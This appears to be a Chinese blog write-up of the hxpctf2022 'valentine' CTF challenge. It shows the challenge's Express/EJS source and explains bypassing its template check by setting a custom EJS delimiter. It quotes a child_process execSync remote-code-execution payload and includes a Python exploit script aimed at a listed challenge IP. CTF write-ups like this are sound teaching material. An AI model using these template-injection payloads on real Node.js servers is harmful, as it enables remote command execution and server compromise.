hxpctf2022 valentine
创始人
2024-06-02 20:07:22
0

valentine

image-20230313151945261

nodejs的ssti,可以任意修改前台的模板

app.js

var express = require('express');
var bodyParser = require('body-parser')
const crypto = require("crypto");
var path = require('path');
const fs = require('fs');var app = express();
viewsFolder = path.join(__dirname, 'views');if (!fs.existsSync(viewsFolder)) {fs.mkdirSync(viewsFolder);
}app.set('views', viewsFolder);
app.set('view engine', 'ejs');app.use(bodyParser.urlencoded({ extended: false }))app.post('/template', function(req, res) {let tmpl = req.body.tmpl;let i = -1;while((i = tmpl.indexOf("<%", i+1)) >= 0) {if (tmpl.substring(i, i+11) !== "<%= name %>") {res.status(400).send({message:"Only '<%= name %>' is allowed."});return;}}let uuid;do {uuid = crypto.randomUUID();} while (fs.existsSync(`views/${uuid}.ejs`))try {fs.writeFileSync(`views/${uuid}.ejs`, tmpl);} catch(err) {res.status(500).send("Failed to write Valentine's card");return;}let name = req.body.name ?? '';return res.redirect(`/${uuid}?name=${name}`);
});app.get('/:template', function(req, res) {let query = req.query;let template = req.params.templateif (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(template)) {res.status(400).send("Not a valid card id")return;}if (!fs.existsSync(`views/${template}.ejs`)) {res.status(400).send('Valentine\'s card does not exist')return;}if (!query['name']) {query['name'] = ''}return res.render(template, query);
});app.get('/', function(req, res) {return res.sendFile('./index.html', {root: __dirname});
});app.listen(process.env.PORT || 3000);

前台模板

  

Happy Valentines Day <%= name %>

拿到题目的感觉是模板渲染嘛,并且是ejs模板

一般的payload是

<%= global.process.mainModule.require('child_process').execSync('cat /flag.txt') %>

但是修改前台模板的话,上面有校验

while((i = tmpl.indexOf("<%", i+1)) >= 0) {if (tmpl.substring(i, i+11) !== "<%= name %>") {res.status(400).send({message:"Only '<%= name %>' is allowed."});return;}

也就是说<%开头的必须为<%= name %>

它是这里来防止模板注入, 写题的时候走到这里就是想绕过校验,但是没有找到合适的方法。

现在wp出来了,发现其实思路正是绕过这里的校验,但并没有想象的那么简单,所以好好复现一下。

这里介绍到了可以影响模板解析的参数delimiter

在ejs的官网首页就有所谓的自定义分隔符

image-20230313154500621 image-20230313155217870

全局肯定不行了,所以使用单个模板文件方式,可以看到,其实就是多写一句{delimiter:'?'}

并且用ejs.render()同模板一起发送出去

看题目的代码也是存在render()

 return res.render(template, query);

要先拿到template参数,也就是uuid路径

看wp还有一个坑点,由于 POST 请求传入参数后会重定向,而重定向到的站没有定界符的模板,因此默认的定界符%被缓存以后无法覆盖。

所以需要禁止重定向:python

requests.port(..., allow_redirects=False)

其实我们用bp抓包就可以忽略这里的重定向问题哈哈哈,可以顺利拿到重定向的uudi路径

dockerfile给了提示flag要执行/readflag文件,那么payload是:


然后访问设置delimiter=?参数,即可拿到flag

image-20230313163259751

image-20230313163352953

相比于官方wp的脚本,bp来打更直观一点

看大佬们都是编写python脚本,一样的来写一下

import requestsurl = 'http://168.119.235.41:9086'data = {'tmpl':"<%= name %>",'name':'123'
}res = requests.post(url=url+'/template',data=data,allow_redirects=False)
#print(res.text)
path = res.headers['location']
print(path)
res2 = requests.get(url=url+path+'&delimiter=?')
print(res2.text)

image-20230313163914979

相关内容

热门资讯

火爆手机正规红中麻将群@202... 微【ab120590】 【mj120590】【tj525555】等风也等你。喜欢打麻将的兄弟姐妹们、...
谷爱凌劝女孩不要节食减肥,节食... 谷爱凌劝女孩不要节食减肥,节食减肥会如何影响身体健康?节食减肥会导致身体营养不良,影响体内的代谢水平...
校园番剧《青春之旅》中的恋爱情... 校园番剧《青春之旅》中的恋爱情节设计的怎么样?《青春之旅》是一部讲述正值青春年华的少年少女爱情故事的...
很多艺人自己开了公司,哪位艺人... 很多艺人自己开了公司,哪位艺人最有老板风范?应该就是杨幂最有老板的风范,因为她其实气场还是比较强大的...
感伤无法解释 浪漫至死是什么意... 感伤无法解释 浪漫至死是什么意思“感伤无法解释,浪漫至死”的意思是:很多时候人们内心的悲伤是没有办法...
轩辕剑5:星曜石(氏)的收集遇... 轩辕剑5:星曜石(氏)的收集遇到些问题,好头痛!过一阵子再去,在结局之前去看就好了迷宫门口,转个视角...
对妈妈说的心里话(偏心之类的)... 对妈妈说的心里话(偏心之类的)作文 11年前,是你让我这个小生命来到了人间,从此璀璨的星空中便多了一...
关于日剧里的吻戏? 关于日剧里的吻戏?看了很多日剧了,突然发现日剧里很少有吻戏。虽然这样说很不好意思,但是我真的很奇怪!...
精灵梦叶罗丽中,有哪些“土豪”... 精灵梦叶罗丽中,有哪些“土豪”?在叶罗丽中最隐形的富豪应该就是金王子挥金如土,其次我认为就是那个白光...
总是担心家门,车门没锁怎么办 总是担心家门,车门没锁怎么办你好,每次下车记得锁门。出门的时候多检查几遍这属于强迫症的一种,没有办法...
船山公是谁 船山公是谁船山公生平,有哪些突出贡献.  船山公又称王船山,是明末清初著名思想家王夫之。  王夫之(...
罗晋都演过什么? 今年将播出的... 罗晋都演过什么? 今年将播出的又都有哪些? 都上过什么综艺?我那会刚看他的电视剧是叫“美人心计”,不...
求好看的小说,看过还想再看一次... 求好看的小说,看过还想再看一次的!言情小说的话 看古灵的 出嫁从夫系列很棒 其他的也很好看嗨,我...
9款14批次假水玩具硼元素全部... 9款14批次假水玩具硼元素全部超标,这种元素对孩子影响有多大?影响是非常大的,因为这些东西是会影响孩...
世界上真的有叶罗丽仙子吗? 世界上真的有叶罗丽仙子吗?没有。把? 虚构的没有,虚构的。。。只是个动画而已。。。如果者都有,那么...